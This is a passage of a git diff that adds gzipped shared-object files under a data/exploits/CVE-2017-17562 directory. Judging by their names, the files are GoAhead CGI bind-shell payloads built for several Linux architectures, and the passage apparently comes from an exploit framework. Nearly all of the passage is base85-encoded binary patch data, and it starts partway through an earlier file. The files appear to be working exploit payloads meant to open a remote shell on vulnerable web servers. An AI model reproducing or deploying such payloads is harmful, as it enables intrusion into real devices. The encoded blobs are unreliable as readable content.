zJM1@gzij%M&f@D!Ul^$T!aspBA5xzvW01@_l=+zY&`%ltmV;37%fMow?*@$Lt}C7> z#u7EJl&h#~%2(7CjPG4|+ggUVEEdyEShjAu;(Gz2T_{sl%vZ{5$e)AOK2WZ!{YnY_ zNPSFh39j8*z`p(nTNy2V5(I3%Wp(z!kC2aF-~kBsEyA0r0P0&-%aMKsBp>N7qCShM zh&GBClSKSExc24}-1zCcw%_Y1rc;uo7fmQxm#~k?ya=URJ77{Sp-c<29sT@ zOpnIGcz3Do!}!o{Y5{HXJ|@SoO)o^@6KlA$AHVfBZN6gjqh_(pXdn9Fy#8Xz&v=rH zwZ^m<6mjPoK?*Eb=-V=owecQlGzjOgakXx z#(i0W2ZIs}gs#C4LO82XlFdihTg7#zxYpU)t4pbF_>HBQua!f%#?0Qtt1_;$Ag;51 zj1S*X)&}i~2;z;}nj2eJ%&X-Q^D?fvVtJ!yXliibd$7+BrF{vN)>U7YL!}zX+ z*gD4?VBBSl73cpg+*3{-B9sSle{Wu0N+}pW+vnAuF^u8m^&pOK5q&T}d|#eIf7dMb zS>f2JTFzYZefBB#G5HGGmtFRYw*AXx%aZ!mdgj-=(GQ!$AROMy=FqY_ke^eTovI~I z;TPV$e_KQQo$tguIF8$%aVWxilG)mvtN5Az0q9oU^pgVpgh1~T=*I_?2kE6wopbu=ZiFl68$i}O!zM06~b$THwae= z2dOyLO*lk&gzzcC=Lk=CY%6?|R~C7Fl>Z*Q+2j3ze31&8=57a9c0b&(SbyR_$cyzP zUN7SHAzlyS^&hd`!|OR>{e}at$ME_Kueb1Vog5wgsuFrWQOFnt<*D$IaAe?U!KQ|O zICL}|IT9ZFqQh5)BSS|cMTco=8v4#8Wzv*_@HiW{}Ec4K0j{;Y1-lqYk812&?m%_-r}};c51}2qX3R zSqB?=u!S#bc^&mVL=5}#+67ls=*})Gh4Wdv9uwB4V^jI~tmeqa z;`w}h9>Pf@n@3UALElZHT}M2XMQgg#X4RW;GCMn~WssRuDX_R<e)33mQC)z(LEFn0fGJ+ICXHY-{}5J zo8X^s8}{>Di%Xy1hv4`&@mmFb9>=pZhg_fEm*BW0ZTXk#%pa?J`d#|`{sqTfLj6oE zr@i2ufmyE4?<;UTBE&BVnEhD!z@^XcLvYOR@wAcepy2-^IQJ2_KELn5F~9H8+F<@) zf~~tx_I&O1;)O@#{}n->zb80W0(Fna8vI1ipAgQoN`v*w;b)?M*^9>?5&zFgf0(~0 zWG@yIF7BV})aLVVc6f2%5&mz1a|eVMXtwTi)gP}&|Bn1~{Wa2G>#0BAqW&KR{SDIJ z*rxuU1^p`NSGO7eUj+SH9a^cqxF5QH-rv%f-S2mk^s5c@c^rQg^!fX9u6KL!SBO`; ze?|IcZ~b^h`Xllm5kFW+{|MASe>nap)W75RPOoPg8?L{Pfz`B}yH=igZ4ke&4(+ew U|3lLEKjQrS4;7L{nkXs&0Ik0lWdHyG literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mipsel.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mipsel.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..67d022a3f0596c1bc2667b7566de92e2d74ab7ab GIT binary patch literal 2390 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 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc64le.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc64le.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..64b67064c26c7dce6573ca4f53c4ca51db1de5c1 GIT binary patch literal 2675 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 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-sparc.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-sparc.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..54985dbd5770ddd6abc0f69b366243c452ca91bf GIT binary patch literal 2206 zcmV;P2x0dhiwFo!YeiZD17~kxXk}q!En{bCEn;bIWG!rIZgqGqXKZO=V=Z%VVRBZ*#cJUI7vHqb3GTrK2&~^USid< zWb~ec-4C_mW@C&EJU5iFX4DN~?U%WQdBMvD5^i8*1m=wl0)Y~*9SviHu!Sw#!nEIg z_dNOeRoPayZ__bH_jk`Z_ndpr{Uf7$XZi<@DjtQZth|1b9tJn@I0S8fKuX?WXVR~t z+RjDazinGJ$>L>Kz2vG#?7H+que$WtNogP8wj?ihtgv|AwpHzVK9?{| ztzae+l*r^VCM8aypu{u7&n41&K|hr-OuaDtTwgYy(}%TWR+qZknnY?!6ArX&=4Di$ zJ)Ib0yS}Vu7`j0x^Mx^*%o)0==T6hOKAxJGCL^C3(@laf|p|h&ph3i*dOhT zK3T;vI~gA9Pm~J&yo^OnvRx;uW`F*i_Z)4?v>CiVelKKOGMTVEQ|O*tMb@6*W^E}& z4Ov)e>i}++xIF|MVLV{ftMc|RuiGBrX2!>X*=OSk;0WUpV3qL%@NULM;10%fzD$V91V@mKvp8yOJcaz(_$>U}cn*EBG4@Bu##r}TY`lcy&&Fj;k&UlmC)oG~jvyO< zgyX`-cQ8a7-^Y<_;qQG|TG&T)6v;3bx2_F}$)9Z*39tCeN^xO?JVo+}!y`^d4O!An zF8?UXGe5f(JahY#rz8CKu-_LK{kQJn0Pmk`?QMadp*ep!h;mG{FJ4fosYuU@Lvy}W z3(xz@n`Xmm_*_^$yt1cs{!*ZH1-4(93)4=>Xg;hesOxiK)dM@_J7LxLdZ4rboo_iz zL9|(buU^<3m~To|IBtiC344559{uvl!P3(8Kx2)swgE~6h+KX1=eJf+HC;78=Ngf{Whr_Sh&j*fJ;cy!X#kDt}(|e|WY9vuEZSoHtq-UI!^_p3c4p4Va{ZL^-Z@>LR~m|* zH_Js@*%P;X2>s?#pP%ol9l_!luu#2A!gpHaowR{~gr3o~LL1TO;%KcbXlnW;3DD)-&< z;KcCxUH2I=a3nD})Iad0r;f<_0YNB@QCZ)I@5+5i&92hENu%JDSs17)XG;sOH(S@U z%);p!e$x)WsT%E5j`m|U^kWWva?+Si=BGCHdtFwiI@PI8b*fXH>QtvX)u~Q(s#Bfn zRHr)qKTrkaESbblh2kzM#CLsL_>OZ2-#hK3>K(Qs>V6_`maKbWVariH1xy=MR?5}=vCi&TckB>R)EG6)f~h4bn#-Gd^i*y#nw-pJ(@$j56de`6`bN{! zIb(WUmS%x0o6~y1$mDYyDhcQcdR7yLj3%-sMXh`0sHsok)4FYr7V_4$ZB!pkoGfVL zy0l4Xg@QIs(Uh4l7zihemr?~Qv^JheAzU6#WaFd(Z7M%LuIJ28nW{!!<6_M_-+0($ zzlnHE?jK<%_L8-qmT3KLg#A`zH~aL+J!bI&>%3fwy|$O@9=Rt4TYJ&Dw*__azVe7Y zC0V?MsmAp%KPC5}Wp`0B#c1O@6G4NFJ#sG#R#ewG#2xfk7(XrdzP11D@isf`((J!M zoHg zHvT%vcQRgicD6mp?i~9Qb`jV`IF{S)4Tl}pgy5QX7aVq26M}2TeOu)gLxBkqsZ{fV~;*87Bb4ZELke6M`xV!d?<)vznG gKR)X%yDrzdSE@0q)Lz8LRrmh*C)Ymr=QJh&09qStfB*mh literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-sparc64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-sparc64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..8f9c286b9d24d29c6bca1c2907b18bb59f006050 GIT binary patch literal 2331 zcmV+$3FP)4iwFo!YeiZD17~kxXk}q!En{bCEn;bIWG!rIZgqGqXKZO=V=Z%VVRBh22NRo@x$xXfh{|M|*5Ji5l3V#x` zMu-po_mCdc^^%r!_k@iH&3|g=xA6V4g$tZ`4dm;bodkyu?T(?oofFrpos$3@9y}<% z*qoDt0{6u8fBRa)-?k|TcE=n3obq#3?c5v_YO{-8iKAbAj@?C-B^ z?EcI8fgk)Cb?<>=FPGoFaP)F9bivUL2fapnSX`J3?Y|R_&uudwZ{u2#4mLK(@8a}! zunW$`xEqe0*uJlo6L-Duj#~oWZACBJ^!GJRB@X^xSM%wo z>92D5ytQ82OQ4FKj+ZTyAJr<4)_lp z@TfyxuQ=$BIOrD~^n+c^=g&`@>Z|JMsdP%s<)hiWsuDGkO5}-p3K&tJI`NDe*R%TR zL@uvqPdqc0OsDh{(O6QqWX&b2HWQ^CM3aecLi6df>T%Q?OGa}!Jx29=NGFVLAl3<2lq34z>fDv5FZins!hH{zkky1w{sHljDXJ| zJ|p1g5ibh(BI4%-d>QdY0bfP@bpbaJUlwqzYyCeFaF*|?fZsyAY{&6&8|*g(Jc#%o z1RU#7|GI#Oar^`L%-?0d!(_gG@VJb%M8w1R{1{^MqjCEeb6LAla*UynkBq8XX`fOF`KMwtE(XvII7+*MqX>HGfG1nWr2i0kGGWf}=IC zS-min34@MAeOHc@rosP78b9@a!(UR@kCbMO2TI>Erc3in{?atqd;tFXikC-gl0rJb zmlv>483u9sE`lBO(LphgU4uAWV0#+QuTX3aVgR|zv?3?rFFZ+n&E)KQ&(~_VSG?68H%`!n9<93A+h1Mq8ZJ6c3nb!Skd*+;fzCjL zuz3-r^FlHdb56WvD3(u*1^f0u-yg1cH-6*TH}w0`NXC63oEcq^6xW53j7zF0%!jf~ zAHN45Cy&rMvwx%dj@Q^*fyXMHvt0^#5c>*XUp}j?MQ98#hJ))T6=Gp?$|JzP1NfB# zkB)p9&aZfl-n9eT%`&vtyvDw=*XXOL3MtFQzF&=o-DUr1t+=f8^+w1}7$?_v2Qu!; zv_dK`6eSif)u%c;(zQEO2jaa z*SgZR&%|rMpF^K-h|hwFC)8udpPYF1u_vtd!<2yMurd$AdS);dWlb_z$YpuVJcqM7 zj+*9q!>l1k%sh`b={L^xt2MFLIQuhAJsZoBm&@hUC;1h;1mphaC4A>-#deXIS4Sv-T$&`v?5KCMC9S%ieqAezRv2+qgd~ zvG@IKAM!SGw*ScXA>5X~`&qoWf9PWG0oZ$Kw&#iamVxtj+&6BI)6L%Fckuo)jqx!3 zrfao-qWu82Yy7xD8^_7}DYoyRy!$_LaqIi$ZTfE$Oo(DQUHiD%yIYqfUk3SyE#wBs z-)|wWg8aI(+(kfst%Y0$`PCM31?0bMA&-FkXD#G3|56J%&Ht?ya+?45TgYktuR6;m 